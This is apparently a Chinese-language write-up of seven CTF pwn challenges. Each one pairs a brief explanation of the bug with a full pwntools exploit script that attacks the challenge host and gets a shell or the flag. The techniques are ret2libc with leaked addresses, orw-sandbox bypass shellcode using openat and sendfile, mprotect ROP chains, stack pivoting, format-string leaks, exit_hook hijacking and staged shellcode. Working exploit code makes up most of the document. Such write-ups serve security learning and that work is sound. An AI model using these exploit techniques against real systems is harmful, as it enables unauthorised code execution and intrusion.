hello_world(签到)


开启了pie保护,但是可以泄漏地址,而且存在栈溢出,因此可以先泄漏libc,再打ret2libc。
from pwn import* libc=ELF('./hello_worldlibc.so.6') elf=ELF('./hello_world') io=remote('challenge.imxbt.cn',30092)
payload=b'a'*0x28 io.recvuntil(b'name: ') io.send(payload) io.recvuntil(b'a'*0x28)
addr=u64(io.recvline()[:-1].ljust(8,b'\x00')) print(hex(addr))
libc_base=addr-0x029d90 rdi=libc_base+0x02a3e5 ret=libc_base+0x029139 system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh\x00'))
payload=cyclic(0x20+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) io.sendline(payload)
io.interactive()
|
invisible_flag


很明显打shellcode,但是开启了沙盒保护,还把orw也禁止了,可以使用openat+sendfile打。
手搓shellcode from pwn import* context.arch='amd64' io=remote('challenge.imxbt.cn',30175)
shellcode=''' mov rax,0x67616c662f2e push rax xor rdi,rdi sub rdi,100 mov rsi,rsp xor rdx,rdx xor r10,r10 mov rax,257 syscall
mov rdi,1 mov rsi,3 mov rdx,0 mov r10,0x100 mov rax,40 syscall ''' shellcode=asm(shellcode)
io.sendline(shellcode)
io.interactive()
|
使用shellcraft生成shellcode from pwn import* context.arch='amd64' io=remote('challenge.imxbt.cn',30175)
shellcode=asm(shellcraft.openat(-100,'flag')) shellcode+=asm(shellcraft.sendfile(1,3,0,0x30))
io.sendline(shellcode)
io.interactive()
|
static_link
静态链接,通过mprotect函数修改权限打shellcode。
from pwn import* context(arch='amd64',os='linux') io=remote('challenge.imxbt.cn',31102)
vuln=0x040181A bss=0x04C7000 rdi=0x0401f1f rsi=0x0409f8e rdx=0x0451322 ret=0x040101a mprotect=0x04482C0 read=0x0447580
shellcode=asm(shellcraft.sh()) payload=cyclic(0x20+8)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)+p64(mprotect) payload+=p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x100)+p64(read) payload+=p64(bss) io.sendline(payload) io.sendline(shellcode)
io.interactive()
|
Guestbook1
一道不错的题目,模拟实现了栈迁移修改rbp,有1/16的概率获得shell。

可以看出最后id可以修改rbp的一个字节,因为存在GuestBook函数的leave_ret和main函数的leave_ret,又只能改rbp,因此实现了栈迁移,那么修改的rbp的一个字节只需要在输入后门函数的地址之前即可。
from pwn import* io=remote('challenge.imxbt.cn',31599)
backdoor=0x401323 io.recv() io.sendline(b'32') io.recv() io.sendline(p64(backdoor)) io.recv()
io.send(str(0x88)) io.recv() io.send(b'-1') io.recv() io.interactive()
|
babyGift

存在栈溢出和printf函数,那么可以通过格式化字符串泄漏libc基址,接着再打ret2libc即可。
from pwn import* context(arch='amd64',os='linux') io=remote('challenge.imxbt.cn',32125) elf=ELF('./babyGift') libc=ELF('./babyGiftlibc.so')
ret=0x40101a bss=0x404f08 printf=0x401274
payload=cyclic(0x4) io.sendlineafter(b'Your name:\n',payload)
payload=b'%7$p' payload=payload.ljust(32,b'\x00')+flat([bss,printf]) io.sendlineafter(b'Your passwd:\n',payload)
addr=int(io.recv(14),16) print(hex(addr)) libc_base=addr-0x29d90 print(hex(libc_base))
system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh')) rdi=libc_base+0x2a3e5
payload=cyclic(0x20)+flat([0x1,rdi,bin_sh,system]) io.sendline(payload)
io.interactive()
|
fmt
很有意思的一道格式化字符串漏洞,和以往的格式化字符串漏洞不同,这次并不是使用printf,而是scanf,但两者大致是差不多的。

先read输入,再scanf输入。这里泄漏了printf函数的地址,因此可以泄漏libc基址,一开始没什么思路,查了下wp发现是劫持exit_hook获得shell。
首先是在偏移为8的地方写入exit_hook地址(具体怎么算的还没研究明白0w0),再通过格式化字符串漏洞向那个地址写入后门函数地址,当程序执行exit时也就相当于执行了后门函数。
from pwn import* elf=ELF('./fmt') libc=ELF('./libc-2.31.so') ld=ELF('./ld-2.31.so') #io=remote('challenge.imxbt.cn',30823) io=process('./fmt')
backdoor=0x04012BE
io.recvuntil(b"this is a gift: ") io.recvuntil(b'0x') printf=int(io.recv(12),16) print(hex(printf))
libc_base=printf-libc.sym['printf'] exit_hook=libc_base+0x222f68
payload=b'%8$s\x00\x00\x00\x00'+p64(exit_hook)*3 io.sendline(payload)
io.sendline(p64(backdoor))
io.interactive()
|
Intermittent

也是一道很有意思的一道题目,这题的关键在于一开始只会执行12个断断续续的shellcode

如图所示,一开始输入了16个字节,最后只读取了12个字节,而且还不是连续的12个字节
因此做这种题一般都是通过有限字节构造read函数,从而可以读入我们获得shell的shellcode。

可以看出能够构造出read函数了,只需要将rsi存储地址即可。
from pwn import* context.arch='amd64' #io=process('./Intermittent') io=remote('challenge.imxbt.cn',30524) #gdb.attach(io,'b *$rebase(0x0135F)')
shellcode1=''' push rdx pop rsi syscall '''
shellcode1=asm(shellcode1) io.sendline(shellcode1)
shellcode=asm(shellcraft.sh()) io.sendline(b'aaaa'+shellcode)
io.interactive()
|